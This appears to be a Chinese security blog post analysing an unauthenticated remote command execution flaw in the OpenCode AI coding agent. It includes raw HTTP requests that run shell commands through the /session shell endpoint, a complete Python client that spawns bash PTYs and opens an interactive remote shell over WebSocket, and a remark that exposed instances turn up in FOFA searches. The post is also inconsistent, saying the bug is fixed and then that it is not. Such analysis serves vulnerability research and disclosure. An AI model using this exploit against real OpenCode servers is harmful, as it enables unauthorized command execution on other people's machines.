OpenCode 未认证远程命令执行漏洞分析
OpenCode 存在未授权RCE漏洞,攻击者可利用未认证的API端点执行任意系统命令。
OpenCode 未认证远程命令执行漏洞
前言
Opencode 最近也是很火,看着公众号天天都在推,结果一番,翻到了还有未授权命令执行漏洞,于是来分析分析
在github 已经是超过 66k star 了

漏洞描述
OpenCode 是一个开源的人工智能编码代理。在升级到版本 1.0.216 之前,OpenCode 会自动启动未经验证的 HTTP 服务器,允许任何本地进程(或通过允许 CORS 的任何网站)以用户的权限执行任意 shell 命令。这一漏洞已在版本 1.0.216 中得到修复。
环境搭建
# 1. 克隆源码
git clone https://github.com/sst/opencode.git
cd opencode
git checkout v1.0.215
# 2. 安装依赖
bun install
# 3. 启动服务器
bun run dev服务器默认监听 http://127.0.0.1:4096,无需任何认证即可访问
验证是否搭建成功
GET /global/health HTTP/1.1
Host: 127.0.0.1:4096
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none

漏洞复现
复现步骤
首先创建一个会话
我们不需要传入参数的,但是必须得有下面的 json
POST /session HTTP/1.1
Host: 127.0.0.1:4096
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
{}

记录 id
就可以直接执行命令了,而且这个端点未授权
POST /session/ses_44874a715ffe6vy17LRP4Uuj0N/shell HTTP/1.1
Host: 127.0.0.1:4096
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
{"agent": "build", "command": "id"}
pty 路由的话利用方法还更多
| 方法 | 端点 | 说明 |
|-----------|-------------------|------------------------------|
| POST | /pty | 创建 PTY 会话 |
| GET | /pty | 列出所有 PTY |
| GET | /pty/{id} | 获取 PTY 信息 |
| WebSocket | /pty/{id}/connect | 双向通信:发送命令、接收输出 |
| DELETE | /pty/{id} | 删除 PTY |利用脚本
#!/usr/bin/env python3
"""
OpenCode PTY API 客户端
用于与 OpenCode 的 PTY (伪终端) API 进行交互
"""
import asyncio
import websockets
import aiohttp
import json
import argparse
from typing import Optional
class PtyClient:
"""OpenCode PTY API 客户端"""
def __init__(self, base_url: str = "http://localhost:4096"):
self.base_url = base_url
self.ws_url = base_url.replace("http://", "ws://").replace("https://", "wss://")
self.session: Optional[aiohttp.ClientSession] = None
async def __aenter__(self):
self.session = aiohttp.ClientSession()
return self
async def __aexit__(self, *args):
if self.session:
await self.session.close()
async def create_pty(self, command: str = "/bin/bash", args: list = None,
cwd: str = None, title: str = None) -> dict:
"""创建一个新的 PTY 会话"""
payload = {"command": command}
if args:
payload["args"] = args
if cwd:
payload["cwd"] = cwd
if title:
payload["title"] = title
async with self.session.post(
f"{self.base_url}/pty",
json=payload,
headers={"Content-Type": "application/json"}
) as resp:
return await resp.json()
async def list_pty(self) -> list:
"""列出所有 PTY 会话"""
async with self.session.get(f"{self.base_url}/pty") as resp:
return await resp.json()
async def get_pty(self, pty_id: str) -> dict:
"""获取 PTY 会话信息"""
async with self.session.get(f"{self.base_url}/pty/{pty_id}") as resp:
return await resp.json()
async def delete_pty(self, pty_id: str) -> bool:
"""删除 PTY 会话"""
async with self.session.delete(f"{self.base_url}/pty/{pty_id}") as resp:
return resp.status == 200
async def exec_command(self, pty_id: str, command: str,
timeout: float = 1.0) -> str:
"""在 PTY 中执行命令并返回输出"""
uri = f"{self.ws_url}/pty/{pty_id}/connect"
output = ""
async with websockets.connect(uri) as ws:
# 跳过初始 banner
try:
await asyncio.wait_for(ws.recv(), timeout=0.3)
except asyncio.TimeoutError:
pass
# 发送命令
await ws.send(command + "\n")
# 接收输出
try:
while True:
chunk = await asyncio.wait_for(ws.recv(), timeout=timeout)
output += chunk
except asyncio.TimeoutError:
pass
return output
async def create_and_exec(self, command: str, shell: str = "/bin/bash",
timeout: float = 1.0) -> tuple[str, str]:
"""创建 PTY 并执行命令(一次性操作)"""
pty_info = await self.create_pty(command=shell, args=[])
pty_id = pty_info["id"]
output = await self.exec_command(pty_id, command, timeout)
await self.delete_pty(pty_id)
return pty_id, output
async def interactive_shell(pty_id: str, base_url: str = "http://localhost:4096"):
"""交互式 PTY shell"""
ws_url = base_url.replace("http://", "ws://").replace("https://", "wss://")
uri = f"{ws_url}/pty/{pty_id}/connect"
print(f"连接到 PTY: {pty_id}")
print("输入命令,按 Ctrl+C 退出\n")
async with websockets.connect(uri) as ws:
# 先接收初始输出
try:
initial = await asyncio.wait_for(ws.recv(), timeout=0.5)
print(initial, end="")
except asyncio.TimeoutError:
pass
# 创建并发任务:接收输出和发送输入
async def receive_output():
while True:
try:
output = await ws.recv()
print(output, end="", flush=True)
except:
break
async def send_input():
import sys
while True:
try:
cmd = await asyncio.get_event_loop().run_in_executor(
None, input, "$ "
)
await ws.send(cmd + "\n")
except EOFError:
break
receive_task = asyncio.create_task(receive_output())
send_task = asyncio.create_task(send_input())
# 等待用户中断
try:
await asyncio.gather(receive_task, send_task)
except KeyboardInterrupt:
print("\n\n退出交互模式")
receive_task.cancel()
send_task.cancel()
async def main():
parser = argparse.ArgumentParser(description="OpenCode PTY API 客户端")
parser.add_argument("action", choices=["list", "create", "exec", "delete", "shell"],
help="操作: list(列出), create(创建), exec(执行), delete(删除), shell(交互)")
parser.add_argument("--url", default="http://localhost:4096", help="OpenCode 服务器地址")
parser.add_argument("--id", help="PTY ID")
parser.add_argument("--command", "-c", help="要执行的命令")
parser.add_argument("--shell", "-s", default="/bin/bash", help="Shell 类型")
args = parser.parse_args()
async with PtyClient(args.url) as client:
if args.action == "list":
ptys = await client.list_pty()
print(f"活跃的 PTY 会话 ({len(ptys)}):")
for pty in ptys:
print(f" - {pty['id']}: {pty['command']} (PID: {pty['pid']}, Status: {pty['status']})")
elif args.action == "create":
result = await client.create_pty(command=args.shell)
print(f"PTY 创建成功:")
print(f" ID: {result['id']}")
print(f" PID: {result['pid']}")
print(f" CWD: {result['cwd']}")
print(f"\n使用以下命令连接:")
print(f" python3 {__file__} shell --url {args.url} --id {result['id']}")
elif args.action == "exec":
if not args.id:
# 一次性创建并执行
pty_id, output = await client.create_and_exec(args.command or "whoami", args.shell)
print(f"PTY ID: {pty_id}")
print(f"输出:\n{output}")
else:
output = await client.exec_command(args.id, args.command or "whoami")
print(output)
elif args.action == "delete":
if not args.id:
print("错误: 需要指定 --id")
return
success = await client.delete_pty(args.id)
print(f"PTY {args.id} 已{'删除' if success else '删除失败'}")
elif args.action == "shell":
if not args.id:
print("错误: 需要指定 --id")
return
await interactive_shell(args.id, args.url)
if __name__ == "__main__":
asyncio.run(main())

漏洞分析
session 执行命令
┌──────────────────────────────────────────────────────────────┐
│ server.ts:1431 - POST /session/:id/shell │
│ - 接收 sessionID, agent, command 参数 │
│ - 无任何认证检查 │
└──────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ prompt.ts:1046 - SessionPrompt.shell(input) │
│ - 创建用户消息和助手消息 │
│ - 记录命令执行状态 │
└──────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ prompt.ts:1181 - spawn(shell, args, {...}) │
│ - 直接使用用户输入的 command 参数 │
│ - 执行任意 shell 命令 │
└──────────────────────────────────────────────────────────────┘server.ts - HTTP 服务器配置
// packages/opencode/src/server/server.ts
export const App = lazy(() =>
app
// ... 错误处理中间件
// ... 日志中间件
.use(cors()) // <-- 第107行: 宽松的 CORS 配置
.get("/global/health", ...) // <-- 无认证
.post("/session", ...) // <-- 无认证
.post("/session/:sessionID/shell", ...) // <-- 无认证,核心漏洞
.post("/pty", ...) // <-- 无认证,核心漏洞
.get("/file/content", ...) // <-- 无认证,核心漏洞
// ... 其他端点,同样无认证
) .use(cors()) 配置了宽松的 CORS 策略,允许任何源访问而且整个应用中没有任何认证中间件导致所有端点都可以未授权访问
/session/:sessionID/shell 端点
// packages/opencode/src/server/server.ts:1407-1437
.post(
"/session/:sessionID/shell",
describeRoute({
summary: "Run shell command",
description: "Execute a shell command within the session context",
operationId: "session.shell",
}),
validator("param", z.object({
sessionID: z.string().meta({ description: "Session ID" }),
})),
validator("json", SessionPrompt.ShellInput.omit({ sessionID: true })),
async (c) => {
const sessionID = c.req.valid("param").sessionID
const body = c.req.valid("json")
// <-- 直接调用 shell 函数,无任何认证检查
const msg = await SessionPrompt.shell({ ...body, sessionID })
return c.json(msg)
},
)SessionPrompt.shell
// packages/opencode/src/session/prompt.ts:1034-1263
export const ShellInput = z.object({
sessionID: Identifier.schema("session"),
agent: z.string(),
model: z.object({
providerID: z.string(),
modelID: z.string(),
}).optional(),
command: z.string(), // <-- 命令来自用户输入
})
export async function shell(input: ShellInput) {
// ... 创建消息
const shell = Shell.preferred()
const invocations: Record<string, { args: string[] }> = {
bash: {
args: [
"-c", "-l",
`eval ${JSON.stringify(input.command)}` // <-- 直接使用用户命令
],
},
// ... 其他 shell 配置
}
const proc = spawn(shell, args, { // <-- 执行命令
cwd: Instance.directory,
detached: process.platform !== "win32",
stdio: ["ignore", "pipe", "pipe"],
env: {
...process.env,
TERM: "dumb",
},
})
// ... 返回命令输出
}很直白
- 用户提供的
command直接放入args - 使用
spawn(shell, args)执行 - 命令以 OpenCode 进程的用户权限运行
- 输出返回给
/pty 命令执行
相比于 shell,更强大
API 端点列表:
// packages/opencode/src/server/server.ts:283-405
.post("/pty", ...) // 创建 PTY 会话
.get("/pty", ...) // 列出所有 PTY
.get("/pty/:ptyID", ...) // 获取 PTY 信息
.delete("/pty/:ptyID", ...) // 删除 PTY
// WebSocket 端点:
"/pty/:ptyID/connect" // 双向通信:发送命令、接收输出创建 PTY:
// packages/opencode/src/server/server.ts:304-327
.post(
"/pty",
describeRoute({
summary: "Create PTY session",
description: "Create a new pseudo-terminal (PTY) session for running shell commands",
}),
validator("json", Pty.CreateInput),
async (c) => {
// <-- 无认证检查,直接创建 PTY
const info = await Pty.create(c.req.valid("json"))
return c.json(info)
},
)// packages/opencode/src/pty/index.ts:96-154
export async function create(input: CreateInput) {
const id = Identifier.create("pty", false)
const command = input.command || Shell.preferred() // <-- 完全用户可控
const args = input.args || []
const cwd = input.cwd || Instance.directory
const env = { ...process.env, ...input.env, TERM: "xterm-256color" }
// 使用 bun-pty 创建真正的伪终端
const spawn = await pty()
const ptyProcess = spawn(command, args, {
name: "xterm-256color",
cwd,
env,
})
const info = {
id,
title: input.title || `Terminal ${id.slice(-4)}`,
command,
args,
cwd,
status: "running",
pid: ptyProcess.pid,
}
// 存储会话状态,后续可通过 WebSocket 连接
state().set(id, { info, process: ptyProcess, buffer: "", subscribers: new Set() })
return info
}WebSocket 交互源码:
// packages/opencode/src/pty/index.ts:197-228
export function connect(id: string, ws: WSContext) {
const session = state().get(id)
if (!session) {
ws.close()
return
}
session.subscribers.add(ws)
// 发送缓冲的输出
if (session.buffer) {
ws.send(session.buffer)
session.buffer = ""
}
// 返回消息处理器
return {
onMessage: (message: string | ArrayBuffer) => {
// <-- 用户输入直接写入 PTY,无过滤
session.process.write(String(message))
},
onClose: () => {
session.subscribers.delete(ws)
},
}
}如何利用在漏洞复现部分已经给出了
漏洞修复
还未修复,不过如果需要修复也很简单,加认证就好了,当然有人会有疑问,怎么可能有人把opencode部署在公网上,去fofa搜了,你别说,还真有

都能直接看到别人的项目
参考资料
资源 | 链接 |
漏洞公告 | |
源码仓库 |
免责声明
本漏洞分析报告仅供安全研究和教育目的使用。请勿将此信息用于任何非法活动。
OpenCode 存在未授权RCE漏洞,攻击者可利用未认证的API端点执行任意系统命令。
由 AI 根据全文自动生成,仅供参考,以原文为准